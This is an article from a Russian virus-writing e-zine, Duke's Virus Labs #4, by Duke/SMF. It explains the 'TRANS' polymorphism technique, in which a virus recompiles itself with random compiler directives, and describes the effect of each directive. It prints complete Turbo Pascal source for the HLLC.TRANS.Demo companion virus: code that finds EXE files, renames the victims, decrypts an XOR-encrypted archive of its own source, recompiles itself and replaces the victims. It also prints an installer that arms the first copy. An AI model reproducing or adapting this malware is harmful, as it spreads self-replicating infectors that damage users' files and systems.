- [Duke's Virus Labs #4] - [Page 06] - HLLC.TRANS.Demo Полиморфизм на паскале (Part II) (c) by Duke/SMF Имя вируса : HLLC.TRANS.Demo Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 19.01.99 Эта статья является логическим продолжением моей статьи, опубликованной в журнале DVL #2 (статья 11). С тех пор мои взгляды на TRANS.Demo-вирус изменились :) Если раньше я предполагал представить в качестве примера HLLP-вирус, то сейчас считаю, что и HLLC будет достаточно - структура программы проще, а специфику отражает. Я отказался от использования ZIP-архива: распаковщик может отсутствовать в PATH, а размножаться-то надо! Поэтому я остановился на SFX-архиве. Привожу несколько отредактированных выдержек из предыдущей статьи, чтобы пояснить суть дела. ===== Cut ===== Сущность технологии TRANS Мой вирус использует технологию TRANS : Take RANdom Switch (Взять Случайный Переключатель). Идея TRANS заключается в перекомпиляции исходного текcта вируса каждый раз с новыми, выбираемыми случайным образом установками директив компилятору. Полученные при этом вирусы имеют разный размер и разное содержимое. Недостатком вируса HLLC.TRANS.Demo является невозможность мутирования/размножения вируса при отсутствии в PATH компилятора языка Pascal. О вирусе HLLC.TRANS.Demo Представляемый вашему вниманию вирус HLLC.TRANS.Demo является примером реализации TRANS-технологии. Он написан на Turbo Pascal 7.0 и может быть откомпилирован компиляторами BPC.EXE (Borland Pascal) или TPC.EXE (Turbo Pascal). (Стоит заметить, что результатом компиляции одного и того же исходника разными компиляторами, будут являться файлы с разным содержимым. Чем не зацепка для полиморфизма? ). Этот вирус мной широко не тестировался. Возможно, что при некоторых комбинациях ключей он утратит работоспособность и станет Intended. Так что принимайте его AS IS (как есть), изучайте и придумывайте что-то новое. Немного технических подробностей При мутировании вируса используются переключатели директив компилятора. Стоит подробнее рассказать о них - что они означают и как влияют на работу компилятора. Символ "+" за директивой означает ее разрешение, а "-" - запрет. Отмеченные символом "*" директивы называются локальными и дейтсвуют до отмены. Описание на директивы дается при переключателе, установленном в "+", а в скобках - для случая "-". {$A+} - выравнивать данные награницу слова (байта) [при A+ все переменные и константы длиной более байта выравниваются по четным адресам и между ними образуются промежутки; в противном случае они размещаются одна за другой] {$B+} * - вычислять логические ыражения полностью (до получения результата) [генерируется машинный код разного содержания] {$D+} - разрешить (запретить) работу со встроенным отладчиком {$E+} - включить (отключить) режим программной эмуляции сопроцессора [при E+ к программе добавляется библиотека программной эмуляции сопроцессора] {$F+} - использовать дальнюю FAR (ближнюю NEAR) модель вызова {$G+} * - использовать (не использовать) полный набор команд микропроцессора Intel 80286 (микропроцессора Intel 8088) [эта директива появилась в TP 7.0] {$I+} * - включить (отключить) контроль операций ввода-вывода [при I+ генерируется дополнительный код, который проверяет ошибки после каждой операции ввода-вывода, при обнаружении ошибки программа останавливается] {$L+} - включить (не включать) локальные символы в информацию для отладчика {$N+} - использовать числовой сопроцессор (реализовать операции с плавающей точкой программно) {$O+} - разрешить (не разрешать) создание оверлейной структуры {$R+} * - включить (отключить) контроль границ диапазона {$S+} * - включить (отключить) контроль возможного переполнения стека [при S+ генерируется дополнительный код, проверяющий стек на переполнение] {$V+} * - включить (отключить) контроль длины строк при обращении к процедуре или функции {$X+} - использовать (не использовать) расширенный синтаксис [эта директива появилась в TP 7.0] ===== Cut ===== А теперь хочу дополнить вышесказанное. Помимо перечисленных директив имеются директивы P, Q, T, V и много-много других, которые можно применить с пользой для дела. Для создания работающего вируса необходимо: - запаковать исходный текст в SFX-архив - записать длину SFX-архива в исходный текст, при необходимости перепаковать по новой исходный текст (в этом месте получается рекурсия :) - откомпилировать исходный текст - с помощью инсталлятора inst_c.exe создать работоспособный файл-вирус Приводимый в журнальной статье исходник я откомментировал. Поэтому если создавать вирус из этого текста, он будет отличаться по размеру от вируса, созданного из некомментированного исходника. Оба варианта я привожу в прилагающемся к статье архиве. Хочу сказать огромное спасибо SMT за то, что он натолкнул меня на эту идею о полиморфизме. СПА-СИ-БО !!! ===== begin trans.pas ===== {$A+,B-,C-,D-,E-,F-,G-,I+,L+,N-,O-,P-,Q-,R-,S+,T-,V-,X-} {$M 5000, 0, 5000} uses dos; const ZS=2166; {размер SFX-архива с исходником вируса} var J, {строка под нулевой параметр} C:string; {строка под COMSPEC} P:string; {имя компилятора} V:file; {запущенный файл с вирусом} F, {ключ для шифровки нового вируса} K:array[1..16] of byte; {ключ для расшифровки старого вируса} Par:string; {параметры запущенного файла} I:integer; {счетчик} A : byte; {счетчик позиции в ключе} a1:dirstr; a2:namestr; a3:extstr; NewST:string; {новое имя жертвы} {==========================================================================} procedure TRANS(ST:string); {создание нового вируса} var Z, {архив с текстом вируса} T, {исходный текст вируса} G, {файл-жертва} N:file; {новый вирус} S:byte; {код символа '-' или '+'} D:array[1..ZS] of byte; {массив под SFX-архив} B:byte; begin fsplit(ST,a1,a2,a3); NewST:=a1+a2+'.DAT'; assign(G,NewST);{$I-}reset(G);{$I+} if ioresult=0 then {уже поражен :( } begin close(G);exit;end; assign(V,J);reset(V,1); {открываем файл с вирусом} seek(V,filesize(V)-16-ZS);blockread(V,K,16);{читаем его ключ} {------Распаковка архива---------} assign(Z,'trans!.com');rewrite(Z,1); blockread(V,D,ZS); close(V); A:=1; for I:=1 to ZS do begin d[i]:=d[i] xor K[a]; if A=16 then A:=1 else inc(A); end; blockwrite(Z,D,ZS); close(Z); exec('trans!.com','>nul'); {создает на диске trans.pas} erase(Z); {удаляем архив} {-----Изменяем PAS-файл------} Randomize; assign(T,'trans.pas');reset(T,1); for I:=1 to 18 do begin seek(T,3*I); B:=random(2); if B=0 then S:=ord('-') else S:=ord('+'); blockwrite(T,S,1); end; close(T); {-----Компилируем новый вирус-----} exec(C,'/c '+P+' trans.pas>nul'); erase(T); {удаляем исходник} assign(N,'trans.exe');reset(N,1); for I:=1 to 16 do F[i]:=random(256); seek(N,filesize(N));blockwrite(N,F,16); {записываем ключ} A:=1; for I:=1 to ZS do {шифруем архив} begin D[i]:=D[i] xor F[A]; if A=16 then A:=1 else inc(A); end; blockwrite(N,D,ZS); {записываем архив} close(N); assign(G,ST); rename(G,NewST); rename(N,ST); end; {=========================================================================} procedure Finder; {поиск файлов} var N:searchrec; begin findfirst('*.exe',$21,N); while doserror=0 do begin TRANS(N.name); findnext(N); end; end; {=========================================================================} function Cmp:boolean; {проверяем наличие компиляторов} var t:boolean; begin t:=false; P:='tpc.exe'; exec(C,'/c '+P+'>nul'); if doserror<>0 then begin P:='bpc.exe'; exec(C,'/c '+P+'>nul'); if doserror=0 then t:=true; end else t:=true; Cmp:=t; end; {=========================================================================} begin C:=GetEnv('COMSPEC'); if Cmp=true then begin {если есть компилятор} {----- Поиск и заражение ----} J:=paramstr(0); {имя запущенной программы} Finder; {поиск файлов} end; {----- Запуск жертвы -----} Par:=''; for I:=0 to paramcount do Par:=Par+' '+paramstr(I); {сохранение параметров} fsplit(J,a1,a2,a3); NewST:=a1+a2+'.dat'; exec(NewST,Par); end. ===== end trans.pas ===== ===== begin inst_c.pas ===== program Install_HLLC_TRANS_Demo; var key : array[1..16] of byte;{ключ} V,Z : file; T : array[1..15000] of byte; A : byte; {счетчик позиции в ключе} SV, {длина вируса} SZ, {длина архива} I : integer; {счетчик цикла} C : byte; {промежуточная величина} begin writeln('Эта программа предназначена для инсталляции вируса'); writeln('HLLC.TRANS.Demo (c) by Duke/SMF'); if paramcount<>2 then begin writeln('Использование : INSTALL.EXE <файл_виpус> '); halt; end; assign(V,paramstr(1));reset(V,1); SV:=filesize(V); assign(Z,paramstr(2));reset(Z,1); SZ:=filesize(Z); Randomize; for i:=1 to 16 do key[i]:=random(256); {создаем ключ} seek(V,filesize(V)); blockwrite(V,key,16); {пишем ключ} A:=1; for i:=1 to SZ do {читаем архив...} begin blockread(Z,C,1); T[i]:=C xor key[A]; {шифруем архив} if A=16 then A:=1 else inc(A); end; for i:=1 to SZ do blockwrite(V,T[i],1); {... пишем его} close(V); close(Z); writeln('Installation complete!'); end. ===== end inst_c.pas =====